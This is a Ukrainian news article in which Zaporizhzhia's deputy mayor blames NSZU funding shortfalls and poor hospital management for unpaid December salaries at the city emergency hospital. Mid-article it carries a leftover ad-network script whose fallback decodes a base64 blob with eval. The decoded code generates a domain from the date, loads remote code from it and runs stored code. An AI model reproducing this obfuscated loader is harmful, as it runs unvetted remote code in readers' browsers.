Співробітники провідного медзакладу Запоріжжя у грудні отримали всього по 29 грн. В міській владі Запоріжжя відреагували на ситуацію та прояснили причину затримок зарплати — недопрацювання керівництва.
Через що виникли проблеми з виплатою заробітних плат колективу Міської лікарні екстреної та швидкої медичної допомоги, про що раніше повідомляв Акцент, розповів заступник міського голови Запоріжжя Анатолій Васюк.
Чи існує заборгованість по заробітній платі у Міській лікарні екстреної та швидкої медичної допомоги? Як буде вирішуватись ця проблема?
У нас дійсно склалася ситуація, що у Міській лікарні екстреної та швидкої медичної допомоги колектив вчасно не отримав заробітну плату за грудень. Зараз ми цю проблему вирішуємо. Виділимо необхідні 13,9 мільйони гривень з бюджету міста. Зробимо це не очікуючи надходжень від НСЗУ, щоб люди могли раніше отримати заробітну плату.
У чому причина цієї ситуації? Чи пов’язано це з реорганізацією, яка відбувається у цьому медичному закладі?
Спочатку хочу наголосити. Ситуація жодним чином не пов’язана з реорганізацією. Навпаки, реорганізація проводиться заради того, щоб не допустити виникнення подібних ситуацій у подальшому, захистити колектив від проблем з виплатою заробітної плати.
Тепер детальніше про причини. Нагадаю, що фінансування лікарень зараз переважно здійснюється за кошти Національної служби здоров’я України, з якою медичний заклад підписав договори. Ці кошти спрямовуються і на виплату заробітної плати.
На жаль, наприкінці року періодично повторюється ситуація, коли НСЗУ вчасно не перераховує у належному обсязі кошти окремим медичним закладам, що може призводити до затримок виплати заробітної плати. Так відбулось і цього разу. Кошти недоотримали 8 медичних закладів міста. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Однак у більшості лікарень знайшлися резерви для того, щоб виплатити заробітну плату працівникам. Наприклад міська лікарня №9 недоотримала від НСЗУ у грудні 20,3 мільйони гривень, але заборгованість по заробітній платі у медичному закладі відсутня.
Інша ситуація склалася наприкінці року у Міській лікарні екстреної та швидкої медичної допомоги. Лікарня недоотримала від НСЗУ за грудень 25 мільйонів гривень. Але там не знайшли резервів для того, щоб виплатити заробітну плату. Це при тому, що місто у 2022 році виділило з власного бюджету цій лікарні 173 мільйони гривень, у тому числі 37,4 мільйони гривень на виплату заробітних плат.
У чому причина подібної ситуації? Переконаний – у неефективності роботи медичного закладу та керівництва, яке не змогло належним чином розподілити та використати наявні кошти протягом року.
Наведу приклад, який є підтвердженням тези про неефективність роботи керівництва медичного закладу. У 2022 році будь-яка лікарня, яка має договір з НСЗУ та не може при цьому забезпечити виплату заробітної плати медикам у повному обсязі, могла звернутися до НСЗУ та після проходження необхідних процедур отримати можливість дофінансування від цієї організації.
На жаль, керівництво Міської лікарні екстреної та швидкою медичної допомоги не побажало цього робити, проходити для цього аудит та інші необхідні процедури. Це при тому, що лікарня є дотаційною та традиційно отримує кошти на виплату заробітної плати з бюджету міста, тому що коштів НСЗУ для цього не вистачає.
(adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/u-miskij-vladi-zaporizhzhya-nazvali-prichini-neviplati-zarplati-v-5-j-likarni/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
